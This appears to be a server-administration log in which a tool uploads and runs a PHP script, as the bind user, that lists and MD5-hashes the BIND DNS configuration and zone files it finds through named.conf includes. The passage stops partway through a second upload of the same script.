MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:55:03: Establishing a connection
2026-04-22 22:55:04: 

PUT: /tmp/pkp898499

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:55:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp898499; rm /tmp/pkp898499'

2026-04-22 22:55:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:55:14: Establishing a connection
2026-04-22 22:55:15: 

PUT: /tmp/pkp464661

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
